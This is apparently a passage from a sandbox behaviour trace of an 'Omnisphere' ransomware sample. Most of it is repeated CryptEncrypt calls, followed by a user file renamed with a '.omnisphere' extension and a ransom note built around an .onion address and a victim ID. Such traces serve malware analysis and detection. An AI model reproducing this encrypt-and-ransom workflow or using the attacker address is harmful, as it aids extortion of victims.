hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.717] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.718] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.730] CryptDestroyKey (hKey=0x1639b68) returned 1 [0092.730] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0092.731] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x47e7d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0092.731] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0092.731] GetProcessHeap () returned 0x1600000 [0092.731] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ca) returned 0x1685378 [0092.731] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\ieee2006officeonline.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\ieee2006officeonline.xsl.omnisphere")) returned 1 [0092.732] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.omnisphere.id" [0092.732] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\ieee2006officeonline.xsl.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0092.732] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0092.733] CloseHandle (hObject=0x3c0) returned 1 [0092.734] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0092.737] CloseHandle (hObject=0x288) returned 1 [0092.737] SetEndOfFile (hFile=0x28c) returned 1 [0092.738] FlushFileBuffers (hFile=0x28c) returned 1 [0092.979] CloseHandle (hObject=0x28c) returned 1 [0092.987] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned 1 [0092.987] GetProcessHeap () returned 0x1600000 [0092.987] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1685650 [0092.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0092.987] GetProcessHeap () returned 0x1600000 [0092.987] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165ef68 [0092.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165ef68, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0092.987] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0092.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0092.987] GetProcessHeap () returned 0x1600000 [0092.987] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f6f0 [0092.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f6f0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0092.987] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0092.987] GetProcessHeap () returned 0x1600000 [0092.987] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166a338 [0092.987] PathCombineW (in: pszDest=0x166a338, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" [0092.987] GetProcessHeap () returned 0x1600000 [0092.987] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x167f080 [0092.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0092.987] WriteFile (in: hFile=0x28c, lpBuffer=0x167f080*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x167f080*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0092.988] CloseHandle (hObject=0x28c) returned 1 [0092.988] GetProcessHeap () returned 0x1600000 [0092.988] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1685650 | out: hHeap=0x1600000) returned 1 [0092.988] GetProcessHeap () returned 0x1600000 [0092.988] 